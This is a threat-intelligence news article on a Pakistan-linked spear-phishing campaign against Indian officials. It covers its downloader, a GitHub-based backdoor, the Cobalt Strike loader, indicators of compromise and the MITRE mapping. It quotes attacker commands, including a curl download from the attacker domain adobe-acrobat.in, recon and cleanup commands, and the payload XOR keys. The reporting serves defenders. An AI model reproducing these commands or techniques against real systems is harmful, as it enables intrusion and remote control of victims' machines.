In September 2025, researchers spotted two fresh attacks from a Pakistan-based threat actor. They hit Indian officials with spear-phishing PDFs that trick users into downloading malicious ISO files.
These payloads only activate for Indian IP addresses on Windows systems, blocking scanners.
Gopher Strike deploys GOGITTER as a downloader, GITSHELLPAD as a backdoor, and GOSHELL to load Cobalt Strike.
Analysts link it to APT36 with medium confidence, possibly a new subgroup. A follow-up post covers Sheet Attack with AI elements.
Attack Chain
Victims get PDFs mimicking official docs, like allowance circulars. A fake “Download and Install” button fetches an ISO from geo-fenced servers. Inside, GOGITTER runs first.
It drops a VBScript called windows_api.vbs in public folders or AppData. This script polls C2 servers every 30 seconds for commands prefixed “hi “, then executes them.
A scheduled task named MicrosoftEdge_ConfigurationUpdate_[random] ensures persistence every 50 minutes.
GOGITTER Downloader
This 64-bit Golang tool checks for its VBScript drop. If missing, it embeds and saves it. GOGITTER also grabs adobe_update.zip from a private GitHub repo using a token.
The ZIP unpacks edgehost.exe (GITSHELLPAD) and a dummy file. Finally, it beacons to adobe-acrobat.in for infection notice. All in standard user folders for stealth.
GITSHELLPAD Backdoor
Dropped as edgehost.exe, this Golang backdoor uses GitHub repos for C2. It creates a dir like SYSTEM-[hostname] and uploads Base64-encoded info.txt with PC details.
Every 15 seconds, it polls command.txt via GitHub API. Supports cd, run, upload, download, or default cmd /c execution. Outputs go to result.txt, then cleans command.txt.
Threat actors ran over 200 commands: net user, systeminfo, curl ifconfig.me/ip, taskkill, and RAR downloads. Full list on GitHub.
| Category | Sample Commands |
|---|---|
| User recon | net user, whoami |
| System info | systeminfo, arp -a |
| Downloads | curl -o a.rar adobe-acrobat.in/a.rar |
| Cleanup | del /f /q svchost.rar, taskkill /PID |
GOSHELL Loader
Actors download RARs with tools via curl, extract with tar, then delete. GOSHELL bloats to 1GB with junk like null bytes and “SECURITY123456COMPRESSME!” to dodge AV.
It checks hardcoded hostnames; no match, exit. Then HEX-decodes, XORs with 0xAA, sleeps 3-7s, and QueueUserAPC-injects stage 2 shellcode. Stage 2 XOR-decrypts (key 0x51211104) Cobalt Strike Beacon.
Beacon uses HTTPS to d18c3nlvb0n2a6.cloudfront.net/jquery-3.3.1.min.js, mimics jQuery profile. Spawns via dllhost.exe.
IOCs and Coverage
Key hashes include GITSHELLPAD variants like 8f495603be80b513820a948d51723b616fac33f0f382fa4a141e39e12fff40cf.
Zscaler detects as Win64.Backdoor.GITSHELLPAD, etc.
MITRE Mapping
T1566.002: Spearphishing links in PDFs. T1059.005: VBS execution. T1102.002: GitHub bidirectional C2. T1027.001: Binary padding. T1055.004: APC injection.
These evasive tactics highlight evolving Pakistan-APT threats to India. Defenders should block listed IOCs and scan for Golang binaries.
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
